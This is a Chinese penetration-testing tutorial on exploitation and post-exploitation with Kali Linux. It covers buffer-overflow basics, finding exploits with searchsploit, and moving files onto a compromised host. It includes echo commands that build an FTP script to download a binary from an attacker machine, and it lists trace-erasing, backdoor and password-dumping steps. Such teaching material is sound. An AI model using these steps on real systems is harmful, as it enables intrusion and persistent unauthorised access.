《Kali渗透基础》09. 漏洞利用、后渗透
@
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
本文以 kali-linux-2023.2-vmware-amd64 为例。
本文以原理为主。
这一部分技术更新换代很快。实操积累经验很重要。
1:漏洞基本介绍
1.1:漏洞从哪里来
- 罪恶的根源——变量:对用户可操作的变量没有做限制。
- 数据与代码边界不清。
如下,是一个最简单的漏洞原理:
!/bin/bash
echo $1 # 直接以命令行执行,只希望打印用户输入的字符。

数据?代码?
1.2:缓冲区溢出
缓冲区溢出(Buffer Overflow)的含义是为缓冲区提供了多于其存储容量的数据。
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被 “ 撑爆 ” ,从而覆盖了相邻内存区域的数据。
如果人为成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。
参考文章:《缓冲区溢出攻击》
Windows 避免缓冲区溢出攻击的策略:
- DEP:阻止代码从数据页被执行
- ASLR:随机内存地址加载执行程序和 DLL,每次重启地址变化
Linux 避免缓冲区溢出攻击的策略:
- DEP
- ASLR
- 堆栈 cookies
- 堆栈粉碎
1.3:如何发现漏洞
- 源码审计
- 逆向工程
- 模糊测试(Fuzz Testing)
- 向程序堆栈注入半随机的数据,根据内存变化判断是否溢出
- 数据生成器:生成随机、半随机数据
- 测试工具:识别溢出漏洞
2:漏洞利用
除了手工发现漏洞,对于扫描到的已知漏洞,可以寻找已有的 EXP,在此基础上修改,以此适用于相关的项目。
“ EXP ” 通常指漏洞利用(Exploitation)或漏洞利用代码(Exploit)。
2.1:EXP 选择与修改
- 对于网上公开的 EXP 代码,选择可信赖的 EXP 源(Exploit-db 等)。
- Kali 自带工具:Searchsploit。
- 要有能力修改 EXP(Python、Perl、Ruby、C、C++...)以满足不同环境需要。
示例01:使用 searchsploit 查询漏洞代码:
查找相关 EXP:
searchsploit windows .py
查询 EXP 路径:
searchsploit -p 38959.py
拷贝到当前文件夹:
cp /usr/share/exploitdb/shellcodes/generator/38959.py 38959.py
EXP 内容:

2.2:避免有害的 EXP
- 不同的 EXP 对应不同的软件版本、offset、shellcode。
- 系统补丁修补漏洞。
- 扫描探测目标系统版本,搭建适当的测试环境。
- 避免一锤子测试,了解漏洞原理,修改溢出代码。
3:后渗透阶段
在漏洞利用,获得目标控制权后:
- 上传文件,加强控制
- 提权,扩大对目标系统的控制能力
- 擦除攻击痕迹
- 安装后门,持久控制
- Dump 密码,提取目标系统中存储的用户密码信息
- 内网渗透
对于后渗透阶段:
- 最大的挑战:防病毒软件
- 使用合适的远程控制软件
3.1:Linux 上传文件
控制目标后,若目标是 Linux 系统,可选择以下方式上传文件:
- netcat
- curl
- wget
以上都是 Linux 预装的工具,或者是很容易在 Linux 上安装的工具。
3.2:Windows 上传文件
Windows 缺少预装的下载工具。有以下方法传输文件:
TFTP:
- XP、2003 默认安装。其他 Win 系统要单独添加。
- 经常被边界防火墙过滤。
- Kali 上,使用
atftpd命令作为服务器共享文件。 - Windows 上,使用
tftp命令获取文件。
FTP:
- 适用性比较广。
- Linux 上可能需要安装 FTP 服务。
- Windows 上,使用
echo命令将相关操作写入 txt 文件。 - 然后 Windows 上使用
ftp命令操作此 txt 文件以获取下载。 - 示例如下:
# 因为多是以命令行控制,为防止出现问题,将命令写入文件执行
# 假设 kali(192.168.1.129)已经控制了目标系统 Windows
# 且 ftp 用户名:user1。密码:PassWorD
# 在控制的系统中分别执行以下命令
echo open 192.168.1.129 21 > ftp_test.txt
echo user1 >> ftp_test.txt
echo PassWorD >> ftp_test.txt
echo bin >> ftp_test.txt
echo GET whoami.exe >> ftp_test.txt
echo bye >> ftp_test.txt
# 完成后执行即可
ftp -s:ftp.txt
VBScript(Visual Basic Scripting Edition),一种微软开发的脚本语言,用于在 Windows 上编写和执行脚本。
DeBug:二进制文件操作。
除此以外,在 Kali 中 /usr/share/windows-binaries/ 目录下自带了一些可以上传到 Windows 上使用的工具,便于后续操作。

闭心塞意,不高瞻览者,死人之徒也哉!
——《论衡》(东汉)王充
《Kali渗透基础》09. 漏洞利用、后渗透的更多相关文章
- Springboot之Actuator的渗透测试和漏洞利用
背景概述 Spring的生态很优秀,而使用Spring Boot的开发者也比较多. Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动 ...
- kali linux之选择和修改exp与windows后渗透
网上公开的exp代码,选择可信赖的exp源,exploit-db,securityfocus,searchsploit,有能力修改exp(python,perl,ruby,c,c++.......) ...
- 带你了解后渗透工具Koadic
前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
- EXP查询合集提权后渗透必备
0x00 整理的一些后渗透提权需要用到的一些漏洞,后渗透提权的时候可以看一下目标机那些补丁没打,再进行下一步渗透提权. 0x01 CVE-2019-0803 [An elevation of priv ...
- Kali Linux渗透基础知识整理(三):漏洞利用
漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...
- Kali Linux渗透基础知识整理(二)漏洞扫描
Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...
- Wordpress 漏洞利用与后渗透
[作业]ColddBox 靶场 Wordpress 漏洞利用与后渗透. 突破口 渗透这类 CMS 网站时,不要上来就狂扫,它大部分目录都是固定的,开源去看对应版本,商业的找几篇文章.特别 注意的是一定 ...
- 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser
XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
随机推荐
- 【GiraKoo】Android Studio控制台乱码
[GiraKoo]Android Studio控制台乱码 启动Android Studio进行编译时,可能会遇到控制台出现异常的乱码. 本文介绍该情况的解决方案. ����: δ������쳣���� ...
- 2022年第十四届四川省大学生程序设计大赛 A
A Adjacent Swapping 题意: 给定一个字符串,每次可以移动相邻字符,求最小移动次数可以把它变成s+s这样左右两边相同的字符串. 思路: 1:我们知道他一定是偶数长度,所以我们把字符串 ...
- 800名科学家Nature联名发文主张废除p值!
每年,全球有数百万学生修读统计学课程.随着世界上的数据量越来越大,统计学已成为越来越受欢迎的话题.如果大多数学生都从这门课中记住一点,那可能就是"统计显著性"和"p 值& ...
- JS基础语法(一)
javascript简介 javascrpit是是一种轻量级的编程语言,常用于web前端开发.另外js还可以用来写node.js类型的服务和工具,在测试web项目的时候需要了解. 变量 js定义变量有 ...
- JIRA安装
JIRA安装 操作系统: 阿里云centos6.8 域名: yan.jzhsc.com 1.安装与配置JAVA sudo -u root -H bash # 在oracle官网下载JDK,安装并配置环 ...
- 前端vue uni-app基于uQRCode封装简单快速实用全端二维码生成插件
快速实现基于uQRCode封装简单快速实用全端二维码生成插件; 下载完整代码请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=12677 效果图 ...
- Python常用基础知识整理
一.Python转义字符 \a :响铃(BEL) \b : 退格(BS) ,将当前位置移到前一列 \f :换页(FF),将当前位置移到下页开头 \n :换行(LF) ,将当前位置移到下一行开头 \r ...
- Vue Router 源码分析💪
专栏分享:vue2源码专栏,玩具项目专栏,硬核 推荐 欢迎各位 ITer 关注点赞收藏 本篇文章参考版本:vue-router v3.x 最终成果,实现了一个可运行的核心路由工程:柏成/vue-rou ...
- 行行AI人才直播第5期:系列课-AI理解及ChatGPT从基础到高级应用
当前,人工智能是全世界研究的重点对象,也是人们茶余饭后讨论的经典话题.自从 OpenAI 发布 ChatGPT-4 之后,似乎无论是在工作.娱乐.甚至是日常生活中,我们都能感受到AI带来的便利和改变. ...
- SQL SERVER 拼接字符串转化为表结构数据
本文为一些需要对特殊符号分隔的字符串进行解析,比如将 select '10,20,30,40,50,60' 这个字符串转化为一列多行 下面提供源代码: 1 SET QUOTED_IDENTIFIER ...